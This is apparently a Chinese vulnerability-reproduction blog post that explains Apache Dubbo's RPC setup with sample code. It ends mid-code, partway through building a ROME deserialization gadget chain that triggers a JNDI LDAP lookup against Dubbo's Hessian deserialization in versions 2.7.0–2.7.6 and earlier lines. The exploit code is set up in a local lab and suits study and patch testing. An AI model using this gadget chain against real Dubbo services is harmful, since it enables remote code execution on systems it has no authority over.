Apache Dubbo是一款高性能、轻量级的开源Java RPC框架,它提供了三大核心能力:面向接口的远程方法调用、智能容错和负载均衡、以及服务自动注册和发现。
Dubbo RPC是Apache Dubbo体系中最核心的一种高性能、高吞吐量的远程调用方式,主要用于两个Dubbo系统之间远程调用。在Dubbo RPC中,支持多种序列化方式,如dubbo序列化、hessian2序列化、kryo序列化、json序列化、java序列化等等
官方推荐的默认Dubbo协议
其架构主要是:

| 节点 | 角色说明 |
|---|---|
| Provider | 暴露服务的服务提供方 |
| Consumer | 调用远程服务的服务消费方 |
| Registry | 服务注册与发现的注册中心 |
| Monitor | 统计服务的调用次数和调用时间的监控中心 |
| Container | 服务运行容器 |
调用关系说明
直接使用官方的案例
GitHub - apache/dubbo-samples: samples for Apache Dubbo
其中有一个http的例子
使用Dubbo服务需要有一个注册中心zookeeper
一个接口
- package org.apache.dubbo.samples.http.api;
-
- public interface DemoService {
- String sayHello(String name);
- }
实现类
- public class DemoServiceImpl implements DemoService {
-
- @Override
- public String sayHello(String name) {
- System.out.println("[" + new SimpleDateFormat("HH:mm:ss").format(new Date()) + "] Hello " + name +
- ", request from consumer: " + RpcContext.getContext().getRemoteAddress());
- return "Hello " + name + ", response from provider: " + RpcContext.getContext().getLocalAddress();
- }
-
- }
服务提供者
- public class HttpProvider {
-
- public static void main(String[] args) throws Exception {
- ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/http-provider.xml");
- context.start();
-
- System.out.println("dubbo service started");
- new CountDownLatch(1).await();
- }
-
- }
消费者
- public class HttpConsumer {
-
- public static void main(String[] args) throws Exception {
- ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/http-consumer.xml");
- context.start();
-
- DemoService demoService = (DemoService) context.getBean("demoService");
- String result = demoService.sayHello("world");
- System.out.println(result);
- }
- }
同样需要在资源目录下配置提供者和服务者的配置
http-provider.xml : 配置了接口和实现类
- <beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
- xmlns:dubbo="http://dubbo.apache.org/schema/dubbo"
- xmlns="http://www.springframework.org/schema/beans" xmlns:context="http://www.springframework.org/schema/context"
- xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd
- http://dubbo.apache.org/schema/dubbo http://dubbo.apache.org/schema/dubbo/dubbo.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd">
- <context:property-placeholder/>
-
- <dubbo:application name="http-provider"/>
-
- <dubbo:registry address="zookeeper://${zookeeper.address:127.0.0.1}:2181"/>
-
- <dubbo:protocol name="http" id="http" port="${servlet.port:8080}" server="${servlet.container:tomcat}"/>
-
- <bean id="demoService" class="org.apache.dubbo.samples.http.impl.DemoServiceImpl"/>
-
- <dubbo:service interface="org.apache.dubbo.samples.http.api.DemoService" ref="demoService" protocol="http"/>
- </beans>
http-consumer.xml : 配置了访问的接口
- <beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
- xmlns:dubbo="http://dubbo.apache.org/schema/dubbo"
- xmlns="http://www.springframework.org/schema/beans" xmlns:context="http://www.springframework.org/schema/context"
- xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd
- http://dubbo.apache.org/schema/dubbo http://dubbo.apache.org/schema/dubbo/dubbo.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd">
- <context:property-placeholder/>
-
- <dubbo:application name="http-consumer"/>
-
- <dubbo:registry address="zookeeper://${zookeeper.address:127.0.0.1}:2181"/>
-
- <dubbo:reference id="demoService" interface="org.apache.dubbo.samples.http.api.DemoService"/>
- </beans>
最后分别启动 zookeeper 提供者,消费者
2.7.0 <= Dubbo Version <= 2.7.6
2.6.0 <= Dubbo Version <= 2.6.7
Dubbo 所有 2.5.x 版本(官方团队目前已不支持)
这里主要是因为dubbo默认通过hessian协议进行反序列化造成的漏洞,我参照官方的example作为环境
https://github.com/apache/dubbo-spring-boot-project
下载漏洞版本2.7.5,同样可以clone之后修改pom.xml文件

我们使用其中的 provider 样例作为服务提供者
首先在pom.xml中条件利用依赖,有很多利用链,根据有什么依赖打什么链子,比如 SpringPartiallyComparableAdvisorHolder SpringAbstractBeanFactoryPointcutAdvisor Rome ROME+CC Groovy 等等多条利用链
这里我们通过Rome打JNDI注入和ROME+CC不出网进行例子
首先添加ROME依赖和CC依赖
- <dependency>
- <groupId>com.rometools</groupId>
- <artifactId>rome</artifactId>
- <version>1.7.0</version>
- </dependency>
- <dependency>
- <groupId>commons-collections</groupId>
- <artifactId>commons-collections</artifactId>
- <version>3.2.1</version>
- </dependency>
因为JNDI注入在高版本JDK中有着限制,当然也有着高版本绕过方法,但是我们这里方便使用,我们直接将其属性值置为true
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
之后配置 comsumer 环境
条件一个getPayload方法形成ROME链
- private static Object getPayload() throws Exception {
- //反序列化时ToStringBean.toString()会被调用,触发JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->Context.lookup
- String jndiUrl = "ldap://127.0.0.1:1389/xitdbc";
- JdbcRowSetImpl rs = new JdbcRowSetImpl();
- rs.setDataSourceName(jndiUrl);
- rs.setMatchColumn("foo");
-
- //反序列化时EqualsBean.beanHashCode会被调用,触发ToStringBean.toString
- ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
-
- //反序列化时HashMap.hash会被调用,触发EqualsBean.hashCode->EqualsBean.beanHashCode
- EqualsBean root = new EqualsBean(ToStringBean.class, item);
-
- //Ha